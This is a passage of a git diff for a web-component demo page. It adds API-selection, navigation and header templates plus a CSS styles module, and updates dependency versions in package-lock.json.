+
+  /**
+   * Handler for the API selection change
+   * @param {Event} e
+   */
+  _apiChanged(e) {
+    const node = /** @type AnypointListbox */ (e.target);
+    const item = /** @type HTMLElement */ (node.selectedItem);
+    const file = item.dataset.src;
+    this._loadFile(file);
+  }
+
   /** @param {string} file */
   async _loadFile(file) {
     this.loaded = false;
-    await super._loadFile(file);
+    const response = await fetch(`./${file}`);
+    const data = await response.json();
+    this.amf = data;
     if (this.store) {
+      // @ts-ignore
       this.store.unlisten();
     }
     this.store = new DomEventsAmfStore(this.amf);
+    // @ts-ignore
     this.store.listen();
     this.loaded = true;
   }
+
+  /**
+   * This method to be overridden in child class to handle navigation.
+   * @param {CustomEvent} e Dispatched navigation event
+   */
+   _navChanged(e) {
+    const { selected, type } = e.detail;
+    // eslint-disable-next-line no-console
+    console.log(`Navigation changed. Type: ${type}, selected: ${selected}`);
+  }
+
+  /**
+   * This method to be overridden in child class to render API options.
+   * @return {TemplateResult[]} HTML template for apis dropdown options.
+   */
+  _apiListTemplate() {
+    return [
+      ['demo-api', 'Demo API'],
+    ].map(([file, label]) => html`
+      <anypoint-item data-src="${file}-compact.json">${label} - compact model</anypoint-item>
+      <anypoint-item data-src="${file}.json">${label}</anypoint-item>
+    `);
+  }
+
+  /**
+   * @return {TemplateResult|string} Template for API navigation element
+   */
+   _apiNavigationTemplate() {
+    if (this.noApiNavigation) {
+      return '';
+    }
+    return html`
+    <api-navigation
+      summary
+      .amf="${this.amf}"
+      ?endpointsOpened="${this.endpointsOpened}"
+      ?docsOpened="${this.docsOpened}"
+      ?typesOpened="${this.typesOpened}"
+      ?securityOpened="${this.securityOpened}"
+    ></api-navigation>`;
+  }
+  
+  /**
+   * Call this on the top of the `render()` method to render demo navigation
+   * @return {TemplateResult} HTML template for demo header
+   */
+  headerTemplate() {
+    const { componentName } = this;
+    return html`
+    <header>
+      ${componentName ? html`<h1 class="api-title">${componentName}</h1>` : ''}
+      <anypoint-dropdown-menu
+        aria-label="Activate to select demo API"
+        aria-expanded="false"
+      >
+        <label slot="label">Select demo API</label>
+        <anypoint-listbox slot="dropdown-content" id="apiList" @selected-changed="${this._apiChanged}">
+          ${this._apiListTemplate()}
+        </anypoint-listbox>
+      </anypoint-dropdown-menu>
+      <div class="spacer"></div>
+      ${this._viewControlsTemplate()}
+    </header>`;
+  }
+
+  /**
+   * The page render function. Usually you don't need to use it.
+   * It renders the header template, main section, and the content.
+   * 
+   * @return {TemplateResult}
+   */
+  pageTemplate() {
+    return html`
+    ${this.headerTemplate()}
+    <section role="main" class="horizontal-section-container centered main">
+      ${this._apiNavigationTemplate()}
+      <div class="demo-container">
+        ${this.contentTemplate()}
+      </div>
+    </section>`;
+  }
 }
diff --git a/demo/lib/ApiStyles.js b/demo/lib/ApiStyles.js
new file mode 100644
index 0000000..f2571bb
--- /dev/null
+++ b/demo/lib/ApiStyles.js
@@ -0,0 +1,63 @@
+/* eslint-disable max-len */
+import { css } from 'lit-element';
+
+const style = css`
+[role="main"].centered {
+  max-width: 1100px;
+}
+
+api-navigation {
+  width: 320px;
+  min-width: 320px;
+  overflow: auto;
+  --method-display-selected-color: #000;
+}
+
+body.styled.api header {
+  background-color: #C5E1A5;
+}
+
+h1.api-title {
+  margin-right: 12px;
+}
+
+body.styled.api.dark {
+  --code-background-color: #f5f7f9;
+  --code-type-boolean-value-color: #F07178;
+  --code-type-number-value-color: #F78C6A;
+  --code-type-text-value-color: #C3E88D;
+  --code-property-value-color: #F07178;
+  --code-operator-value-background-color: transparent;
+}
+
+body.styled.api.dark api-navigation {
+  --http-method-label-get-background-color: rgb(0, 128, 0);
+  --http-method-label-get-color: #fff;
+  --http-method-label-post-background-color: rgb(33, 150, 243);
+  --http-method-label-post-color: #fff;
+  --http-method-label-put-background-color: rgb(255, 165, 0);
+  --http-method-label-put-color: fff;
+  --http-method-label-delete-background-color: rgb(244, 67, 54);
+  --http-method-label-delete-color: fff;
+}
+
+body.styled.api header anypoint-item {
+  color: #000;
+}
+
+body.styled.api header anypoint-dropdown-menu {
+  color: #000;
+  background-color: white;
+  --anypoint-dropdown-menu-label-color: #000;
+  --anypoint-dropdown-menu-background-color: #fff;
+}
+`;
+try {
+  // @ts-ignore
+  document.adoptedStyleSheets = document.adoptedStyleSheets.concat(style.styleSheet);
+} catch (_) {
+  /* istanbul ignore next */
+  const s = document.createElement('style');
+  s.innerHTML = style.cssText;
+  document.getElementsByTagName('head')[0].appendChild(s);
+}
diff --git a/package-lock.json b/package-lock.json
index e71e85d..41ca9f8 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -32,9 +32,9 @@
       "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw=="
     },
     "@advanced-rest-client/arc-demo-helper": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-3.0.3.tgz",
-      "integrity": "sha512-Myb1bTyQYFRo2LhGUG8esudRiLRLlVybVQcZBQI1nX9YnsAN6a8OCki93vK64Lxd4ZbkcJH5eqpQN/xGeBIhWw==",
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-4.0.1.tgz",
+      "integrity": "sha512-oYJl6Ynn7Ac96xSpT8aXasY2WJvYmsjO9aL9h4uDAvSdlR3qu0htt7A0+qwRoSjTV0jfyYKq0pllo/MVNDUqVw==",
       "dev": true,
       "requires": {
         "@advanced-rest-client/arc-icons": "^3.3.4",
@@ -45,9 +45,6 @@
         "@anypoint-web-components/anypoint-menu-button": "^0.1.5",
         "@anypoint-web-components/anypoint-switch": "^0.1.10",
         "@anypoint-web-components/anypoint-tabs": "^0.1.19",
-        "@api-components/amf-helper-mixin": "^4.5.4",
-        "@api-components/api-navigation": "^4.3.2",
-        "@api-components/raml-aware": "^3.0.0",
         "@open-wc/dedupe-mixin": "^1.3.0",
         "@polymer/font-roboto": "^3.0.2",
         "lit-element": "^2.5.1",
@@ -341,11 +338,6 @@
         "spark-md5": "2.0.2"
       },
       "dependencies": {
-        "inherits": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz",
-          "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE="
-        },
         "pouchdb-promise": {
           "version": "6.4.3",
           "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz",
@@ -353,11 +345,6 @@
           "requires": {
             "lie": "3.1.1"
           }
-        },
-        "spark-md5": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz",
-          "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc="
         }
       }
     },
@@ -628,9 +615,9 @@
       }
     },
     "@api-components/amf-helper-mixin": {
-      "version": "4.5.15",
-      "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.15.tgz",
-      "integrity": "sha512-//mA1EKC8mnjjYkOqSnXI8uBMdXPSodj5MqlZ1ZcvZ+6uOW11ozVpdIay1olylqL6NlDItzWdzDxQH3yZXqtAg==",
+      "version": "4.5.17",
+      "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.17.tgz",
+      "integrity": "sha512-CGMo/N/wb8jwg7n98tpfj5VqBVyB4jDyyGQ/fdgLacQrEQ5Fe0v0hG8Maj2OOQeavt44y3SMbSLCQBjsxchbAA==",
       "requires": {
         "amf-json-ld-lib": "0.0.14"
       }
@@ -662,21 +649,21 @@
       }
     },
     "@api-components/api-schema": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.4.tgz",
-      "integrity": "sha512-Z9yU9VRBNNxYqYmJdHTlcdo/I/k9Qgh3wIsA2t2ehD8+XW+8sD6fT11IM2YYb0V/vBznNT6OMMQBIgFqvjW9tw==",
+      "version": "0.1.5",
+      "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.5.tgz",
+      "integrity": "sha512-bb2iVOE3wfEqOO5p+nU8NqELZc0Qd/VRb9r7qDfExZn90fCJZZ/U1bzDa3UIfShhJejh586fuQnjKkAr/RYsSQ==",
       "requires": {
-        "@api-components/amf-helper-mixin": "^4.5.12",
+        "@api-components/amf-helper-mixin": "^4.5.16",
         "@pawel-up/data-mock": "^0.1.7"
       }
     },
     "@api-components/http-method-label": {
-      "version": "3.1.4",
-      "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.4.tgz",
-      "integrity": "sha512-KKLSoTkRDWhdSYAcHQQdsd/F1Gx0Xp+GuyzFZZv+4twjCX7UAoabOrdef6+6IBSlw3bc9ec3npfFr2Ko6D+gFg==",
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/@api-components/http-method-label/-/http-method-label-3.1.5.tgz",
+      "integrity": "sha512-C6uu4jRCDXAmqxq1y7VJKCn1NUYGT+qFa07rYS/FKFT09Srg4Vgjl9VIdg9pDLBVwhhtGiUK6UnPAqzFhsof5A==",
       "requires": {
-        "lit-element": "^2.4.0",
-        "lit-html": "^1.3.0"
+        "lit-element": "^2.5.1",
+        "lit-html": "^1.4.1"
       }
     },
     "@api-components/raml-aware": {
@@ -686,9 +673,9 @@
       "dev": true
     },
     "@babel/code-frame": {
-      "version": "7.14.5",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.14.5.tgz",
-      "integrity": "sha512-9pzDqyc6OLDaqe+zbACgFkb6fKMNG6CObKpnYXChRsvYGyEdc7CA2BaqeOM+vOtCS5ndmJicPJhKAwYRI6UfFw==",
+      "version": "7.15.8",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz",
+      "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==",
       "dev": true,
       "requires": {
         "@babel/highlight": "^7.14.5"
@@ -768,14 +755,14 @@
       }
     },
     "@commitlint/cli": {
-      "version": "13.2.0",
-      "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-13.2.0.tgz",
-      "integrity": "sha512-RqG0cxxiwaL9OgQbA2ZEfZaVIRJmbtsZgnj5G07AjN7///s/40grSN4/kDl8YjUgvAZskPfJRoGGYNvHJ4zHWA==",
+      "version": "13.2.1",
+      "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-13.2.1.tgz",
+      "integrity": "sha512-JGzYk2ay5JkRS5w+FLQzr0u/Kih52ds4HPpa3vnwVOQN8Q+S1VYr8Nk/6kRm6uNYsAcC1nejtuDxRdLcLh/9TA==",
       "dev": true,
       "requires": {
         "@commitlint/format": "^13.2.0",
         "@commitlint/lint": "^13.2.0",
-        "@commitlint/load": "^13.2.0",
+        "@commitlint/load": "^13.2.1",
         "@commitlint/read": "^13.2.0",
         "@commitlint/types": "^13.2.0",
         "lodash": "^4.17.19",
@@ -842,9 +829,9 @@
       }
     },
     "@commitlint/load": {
-      "version": "13.2.0",
-      "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-13.2.0.tgz",
-      "integrity": "sha512-Nhkv+hwWCCxWGjmE9jd1U8kfGGCkZVpwzlTtdKxpY+Aj2VCFg3BjY+qA81pMF3oAsIpxchSaZG5llb8kduVjYg==",
+      "version": "13.2.1",
+      "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-13.2.1.tgz",
+      "integrity": "sha512-qlaJkj0hfa9gtWRfCfbgFBTK3GYQRmjZhba4l9mUu4wV9lEZ4ICFlrLtd/8kaLXf/8xbrPhkAPkVFOAqM0YwUQ==",
       "dev": true,
       "requires": {
         "@commitlint/execute-rule": "^13.2.0",
@@ -854,7 +841,8 @@
         "chalk": "^4.0.0",
         "cosmiconfig": "^7.0.0",
         "lodash": "^4.17.19",
-        "resolve-from": "^5.0.0"
+        "resolve-from": "^5.0.0",
+        "typescript": "^4.4.3"
       }
     },
     "@commitlint/message": {
@@ -1042,9 +1030,9 @@
       }
     },
     "@comunica/actor-http-node-fetch": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.1.tgz",
-      "integrity": "sha512-ZnIhji5Q5eMpz8L3kw8E6T/A1XIfdhRIXQ3/tTmtyoMeOkzAvBk3VyONFsR21vmm1uVrmMjet8iFtHzNixctMA==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-http-node-fetch/-/actor-http-node-fetch-1.22.2.tgz",
+      "integrity": "sha512-G4ryHkWVVTpBHZkksHRieatdQJLMI7xqihW3Ikz7ZKwnygt1ZMjV/NJ9SPnvqzuNWbwOM3wd12Hr/m+A0Cd8DA==",
       "dev": true,
       "requires": {
         "@comunica/context-entries": "^1.22.0",
@@ -1058,9 +1046,9 @@
       "dev": true
     },
     "@comunica/actor-init-sparql": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.1.tgz",
-      "integrity": "sha512-ZMFwJX1PNNVcWh0aKpawwyrTARlE+sKyMNvXD5ie3rwyhmrHXdEsUxDg6HWFaLtAGPfvcgufKRnxX9p/nOgkJw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.2.tgz",
+      "integrity": "sha512-uWaGnDW2JzSC/E6N1DE0mehuCVK7UuelPa6IrmdcWPMUyd6+0Se1cVQY5H16jlWttN7rmwtEkBMTN0efhNPuag==",
       "dev": true,
       "requires": {
         "@comunica/actor-abstract-bindings-hash": "^1.22.0",
@@ -1068,7 +1056,7 @@
         "@comunica/actor-context-preprocess-source-to-destination": "^1.22.0",
         "@comunica/actor-http-memento": "^1.22.1",
         "@comunica/actor-http-native": "^1.22.1",
-        "@comunica/actor-http-node-fetch": "^1.22.1",
+        "@comunica/actor-http-node-fetch": "^1.22.2",
         "@comunica/actor-http-proxy": "^1.22.1",
         "@comunica/actor-optimize-query-operation-join-bgp": "^1.22.0",
         "@comunica/actor-query-operation-ask": "^1.22.0",
@@ -1101,20 +1089,20 @@
         "@comunica/actor-query-operation-reduced-hash": "^1.22.0",
         "@comunica/actor-query-operation-service": "^1.22.0",
         "@comunica/actor-query-operation-slice": "^1.22.0",
-        "@comunica/actor-query-operation-sparql-endpoint": "^1.22.1",
+        "@comunica/actor-query-operation-sparql-endpoint": "^1.22.2",
         "@comunica/actor-query-operation-union": "^1.22.0",
         "@comunica/actor-query-operation-update-add-rewrite": "^1.22.0",
         "@comunica/actor-query-operation-update-clear": "^1.22.0",
         "@comunica/actor-query-operation-update-compositeupdate": "^1.22.0",
         "@comunica/actor-query-operation-update-copy-rewrite": "^1.22.0",
         "@comunica/actor-query-operation-update-create": "^1.22.0",
-        "@comunica/actor-query-operation-update-deleteinsert": "^1.22.0",
+        "@comunica/actor-query-operation-update-deleteinsert": "^1.22.2",
         "@comunica/actor-query-operation-update-drop": "^1.22.0",
         "@comunica/actor-query-operation-update-load": "^1.22.0",
         "@comunica/actor-query-operation-update-move-rewrite": "^1.22.0",
         "@comunica/actor-query-operation-values": "^1.22.0",
-        "@comunica/actor-rdf-dereference-fallback": "^1.22.0",
-        "@comunica/actor-rdf-dereference-http-parse": "^1.22.1",
+        "@comunica/actor-rdf-dereference-fallback": "^1.22.2",
+        "@comunica/actor-rdf-dereference-http-parse": "^1.22.2",
         "@comunica/actor-rdf-join-multi-smallest": "^1.22.0",
         "@comunica/actor-rdf-join-nestedloop": "^1.22.0",
         "@comunica/actor-rdf-join-symmetrichash": "^1.22.0",
@@ -1122,7 +1110,7 @@
         "@comunica/actor-rdf-metadata-extract-allow-http-methods": "^1.22.0",
         "@comunica/actor-rdf-metadata-extract-hydra-controls": "^1.22.0",
         "@comunica/actor-rdf-metadata-extract-hydra-count": "^1.22.0",
-        "@comunica/actor-rdf-metadata-extract-patch-sparql-update": "^1.22.0",
+        "@comunica/actor-rdf-metadata-extract-patch-sparql-update": "^1.22.2",
         "@comunica/actor-rdf-metadata-extract-put-accepted": "^1.22.0",
         "@comunica/actor-rdf-metadata-extract-sparql-service": "^1.22.0",
         "@comunica/actor-rdf-metadata-primary-topic": "^1.22.0",
@@ -1137,18 +1125,18 @@
         "@comunica/actor-rdf-resolve-hypermedia-links-next": "^1.22.0",
         "@comunica/actor-rdf-resolve-hypermedia-links-queue-fifo": "^1.22.0",
         "@comunica/actor-rdf-resolve-hypermedia-none": "^1.22.0",
-        "@comunica/actor-rdf-resolve-hypermedia-qpf": "^1.22.0",
+        "@comunica/actor-rdf-resolve-hypermedia-qpf": "^1.22.2",
         "@comunica/actor-rdf-resolve-hypermedia-sparql": "^1.22.1",
         "@comunica/actor-rdf-resolve-quad-pattern-federated": "^1.22.0",
-        "@comunica/actor-rdf-resolve-quad-pattern-hypermedia": "^1.22.0",
+        "@comunica/actor-rdf-resolve-quad-pattern-hypermedia": "^1.22.2",
         "@comunica/actor-rdf-resolve-quad-pattern-rdfjs-source": "^1.22.0",
         "@comunica/actor-rdf-serialize-jsonld": "^1.22.0",
         "@comunica/actor-rdf-serialize-n3": "^1.22.0",
-        "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": "^1.22.1",
-        "@comunica/actor-rdf-update-hypermedia-put-ldp": "^1.22.1",
-        "@comunica/actor-rdf-update-hypermedia-sparql": "^1.22.1",
-        "@comunica/actor-rdf-update-quads-hypermedia": "^1.22.0",
-        "@comunica/actor-rdf-update-quads-rdfjs-store": "^1.22.0",
+        "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": "^1.22.2",
+        "@comunica/actor-rdf-update-hypermedia-put-ldp": "^1.22.2",
+        "@comunica/actor-rdf-update-hypermedia-sparql": "^1.22.2",
+        "@comunica/actor-rdf-update-quads-hypermedia": "^1.22.2",
+        "@comunica/actor-rdf-update-quads-rdfjs-store": "^1.22.2",
         "@comunica/actor-sparql-parse-algebra": "^1.22.0",
         "@comunica/actor-sparql-parse-graphql": "^1.22.0",
         "@comunica/actor-sparql-serialize-json": "^1.22.0",
@@ -1167,7 +1155,7 @@
         "@comunica/bus-init": "^1.22.0",
         "@comunica/bus-optimize-query-operation": "^1.22.0",
         "@comunica/bus-query-operation": "^1.22.0",
-        "@comunica/bus-rdf-dereference": "^1.22.0",
+        "@comunica/bus-rdf-dereference": "^1.22.2",
         "@comunica/bus-rdf-dereference-paged": "^1.22.0",
         "@comunica/bus-rdf-join": "^1.22.0",
         "@comunica/bus-rdf-metadata": "^1.22.0",
@@ -1179,8 +1167,8 @@
         "@comunica/bus-rdf-resolve-hypermedia-links-queue": "^1.22.0",
         "@comunica/bus-rdf-resolve-quad-pattern": "^1.22.0",
         "@comunica/bus-rdf-serialize": "^1.22.0",
-        "@comunica/bus-rdf-update-hypermedia": "^1.22.0",
-        "@comunica/bus-rdf-update-quads": "^1.22.0",
+        "@comunica/bus-rdf-update-hypermedia": "^1.22.2",
+        "@comunica/bus-rdf-update-quads": "^1.22.2",
         "@comunica/bus-sparql-parse": "^1.22.0",
         "@comunica/bus-sparql-serialize": "^1.22.0",
         "@comunica/context-entries": "^1.22.0",
@@ -1207,13 +1195,13 @@
       }
     },
     "@comunica/actor-init-sparql-rdfjs": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.1.tgz",
-      "integrity": "sha512-mt3nimne/dZA8NSX3IraMScr8NHb8tsekYgoxomRbeWpt2oN33wMQiudh6m6yz9C6ep+R8VVkF9abjSYf/sbHg==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.2.tgz",
+      "integrity": "sha512-nTyh6OxzdiA22nkRyX+j4EZ9sWj8oHoP0MPiGEU2LOWJkVIIKVxkoj4q1H/wVAsni4FL4FZSGBvrMkxl1GyT6Q==",
       "dev": true,
       "requires": {
         "@comunica/actor-abstract-mediatyped": "^1.22.0",
-        "@comunica/actor-init-sparql": "^1.22.1",
+        "@comunica/actor-init-sparql": "^1.22.2",
         "@comunica/actor-query-operation-ask": "^1.22.0",
         "@comunica/actor-query-operation-bgp-empty": "^1.22.0",
         "@comunica/actor-query-operation-bgp-left-deep-smallest": "^1.22.0",
@@ -1649,15 +1637,15 @@
       }
     },
     "@comunica/actor-query-operation-sparql-endpoint": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-sparql-endpoint/-/actor-query-operation-sparql-endpoint-1.22.1.tgz",
-      "integrity": "sha512-+CJijvZFK6E07rsljoxqzseDu02t1W60zAZ4Y4Bm6DKv1v16WzJ99VFeTRk/UkP9MKG0zmR7dE/WASneytmsiQ==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-sparql-endpoint/-/actor-query-operation-sparql-endpoint-1.22.2.tgz",
+      "integrity": "sha512-y+bnQlhTUtlybstinINiayQVXro9lZfpBiVBM9zxyZOST/fwXho5alclasfFgwy04js8aIM1efx8eJD2OUwlxQ==",
       "dev": true,
       "requires": {
         "@comunica/bus-rdf-resolve-quad-pattern": "^1.22.0",
-        "@comunica/bus-rdf-update-quads": "^1.22.0",
+        "@comunica/bus-rdf-update-quads": "^1.22.2",
         "@comunica/types": "^1.22.0",
-        "@comunica/utils-datasource": "^1.22.0",
+        "@comunica/utils-datasource": "^1.22.2",
         "@rdfjs/types": "*",
         "arrayify-stream": "^1.0.0",
         "asynciterator": "^3.2.0",
@@ -1723,9 +1711,9 @@
       "dev": true
     },
     "@comunica/actor-query-operation-update-deleteinsert": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-update-deleteinsert/-/actor-query-operation-update-deleteinsert-1.22.0.tgz",
-      "integrity": "sha512-0IOoa5hPJMmAraGFgrXll/PM/FvlBI/4XyojGTJOGRuBq+z+ZN9/t8FJp6GFnGbUU9/VXPVUuoQdtG1Ja3gIWQ==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-update-deleteinsert/-/actor-query-operation-update-deleteinsert-1.22.2.tgz",
+      "integrity": "sha512-8VGwvEEjHoEVwTJXGW4USHLS5DKc5iZwn1NByTAg8YdgX8ycE2odJi766cR8GLkeZu6621OUyZIgSnLdSAuMvA==",
       "dev": true,
       "requires": {
         "@comunica/actor-query-operation-construct": "^1.22.0",
@@ -1775,15 +1763,15 @@
       }
     },
     "@comunica/actor-rdf-dereference-fallback": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-fallback/-/actor-rdf-dereference-fallback-1.22.0.tgz",
-      "integrity": "sha512-AyF3awGeyHEUoQUtgU1PEjmduEt+4IknKK+ZdUw9CFyBC/ZC6sqGEExVzPVECpfMaSmlxqTT60/dkJBfxtBOEw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-fallback/-/actor-rdf-dereference-fallback-1.22.2.tgz",
+      "integrity": "sha512-EzvBerax4WVOxmkRuHviehUQ3VUU0CPHV+fErFB9+s5UbXHk6MU3GqzH9iehoFYzpP7Xic0VZXFd34nCTvzmtg==",
       "dev": true
     },
     "@comunica/actor-rdf-dereference-http-parse": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.1.tgz",
-      "integrity": "sha512-EkFa7RocUeTj4Exc8m0Bi9SOC4W4wmpQNPg6BRf62yjPoQGn+CJFFkvhwg//1/hxnhATyEkFm1EZInwgT5UAkw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.2.tgz",
+      "integrity": "sha512-SObiiBJQDX4HL83DK2RGtBOvwsEJvSsWx2pJraPGWOYW4RArblvSoOoug3urLtNj23s3aU63t15/rOzXOBK8rw==",
       "dev": true,
       "requires": {
         "cross-fetch": "^3.0.5",
@@ -1855,9 +1843,9 @@
       "dev": true
     },
     "@comunica/actor-rdf-metadata-extract-patch-sparql-update": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-metadata-extract-patch-sparql-update/-/actor-rdf-metadata-extract-patch-sparql-update-1.22.0.tgz",
-      "integrity": "sha512-vJt0fxvD3JNOzvzzN12Gz92yxKwxChXrxwFSdagQHzEoTqI8R03esdaJxeE5g+p3xTR20UXgJNSfLDiKv0xjlw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-metadata-extract-patch-sparql-update/-/actor-rdf-metadata-extract-patch-sparql-update-1.22.2.tgz",
+      "integrity": "sha512-de9IJPIuXrvh8plhl8RndrbNcigO7hhi34bEoKwcjdX8YBK1F4BEK3mRvE0rlSjwv5vDLPjT4ejxl6bL2Da/rQ==",
       "dev": true
     },
     "@comunica/actor-rdf-metadata-extract-put-accepted": {
@@ -1989,12 +1977,12 @@
       }
     },
     "@comunica/actor-rdf-resolve-hypermedia-qpf": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-hypermedia-qpf/-/actor-rdf-resolve-hypermedia-qpf-1.22.0.tgz",
-      "integrity": "sha512-KBz37QiordJL8putg8g9xGODyalabDbtDwjB8pyQnvkX/cnHCtvL6M3dISCFr53m++f2iU9CWjTTtweeWK+1ng==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-hypermedia-qpf/-/actor-rdf-resolve-hypermedia-qpf-1.22.2.tgz",
+      "integrity": "sha512-dHR6FtLj/buvHmOT9B0FysWwIQO7L0+uqCnHQ9peShKOwpKMtl5qW9a8L63yWNlB34JgB+ZvL0/qJO7JWZZXTQ==",
       "dev": true,
       "requires": {
-        "@comunica/bus-rdf-dereference": "^1.22.0",
+        "@comunica/bus-rdf-dereference": "^1.22.2",
         "@rdfjs/types": "*",
         "asynciterator": "^3.2.0",
         "rdf-data-factory": "^1.0.3",
@@ -2035,16 +2023,16 @@
       }
     },
     "@comunica/actor-rdf-resolve-quad-pattern-hypermedia": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-quad-pattern-hypermedia/-/actor-rdf-resolve-quad-pattern-hypermedia-1.22.0.tgz",
-      "integrity": "sha512-esdGIT4OdY8VM0bKNlsYZoDhuRtHM+PvZB62OA9If48SvMgryrqfQ10QZivHMSrO/FyhdDy6tIcUL72CQppn3A==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-quad-pattern-hypermedia/-/actor-rdf-resolve-quad-pattern-hypermedia-1.22.2.tgz",
+      "integrity": "sha512-eQhXoOYVpEJNkp6pYvJwaU+PmvR41VEKX9zivcBxRGagbLOaX5SG0xV+0I2YApB4HvagD/0IICVRRxXqODRUVA==",
       "dev": true,
       "requires": {
         "@comunica/actor-rdf-resolve-hypermedia-links-queue-fifo": "^1.22.0",
         "@comunica/bus-rdf-metadata": "^1.22.0",
         "@comunica/bus-rdf-metadata-extract": "^1.22.0",
         "@comunica/types": "^1.22.0",
-        "@comunica/utils-datasource": "^1.22.0",
+        "@comunica/utils-datasource": "^1.22.2",
         "@rdfjs/types": "*",
         "@types/lru-cache": "^5.1.0",
         "asynciterator": "^3.2.0",
@@ -2087,28 +2075,30 @@
       }
     },
     "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-patch-sparql-update/-/actor-rdf-update-hypermedia-patch-sparql-update-1.22.1.tgz",
-      "integrity": "sha512-BgL/XNnuNjDKF8qMDWCIKLhZFxO6nolfD6IJuUULc4DeU9bXdNOrXFVnNRjg9BPCAUA5au0kK9hOyBLGWvmxJA==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-patch-sparql-update/-/actor-rdf-update-hypermedia-patch-sparql-update-1.22.2.tgz",
+      "integrity": "sha512-CqaDel2GTxYcM9CVzMERaGlA6XVWbqjkAfvnufhl9suMiDw8aqnuw91sPMbTlh38MhAaLY6SVwmxqekmdtxOhg==",
       "dev": true,
       "requires": {
+        "@comunica/bus-rdf-update-quads": "^1.22.2",
         "cross-fetch": "^3.0.5",
         "rdf-string-ttl": "^1.1.0"
       }
     },
     "@comunica/actor-rdf-update-hypermedia-put-ldp": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-put-ldp/-/actor-rdf-update-hypermedia-put-ldp-1.22.1.tgz",
-      "integrity": "sha512-shT8TnMeqLlyM2EDLghtrrXWOVEINfsPJquWnZDW4XvhrOR+rO+ypoiXKMT4RShqSKFLsla7uGL414Y3qhcvMw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-put-ldp/-/actor-rdf-update-hypermedia-put-ldp-1.22.2.tgz",
+      "integrity": "sha512-SucEQhDSA5Tul7+RNWKaKuRMiNZS9zzBo92lJH1VSOx9SY9nnOcTVieNJrA8p3ExyYivnLmufe4AAM7M/m/T1g==",
       "dev": true,
       "requires": {
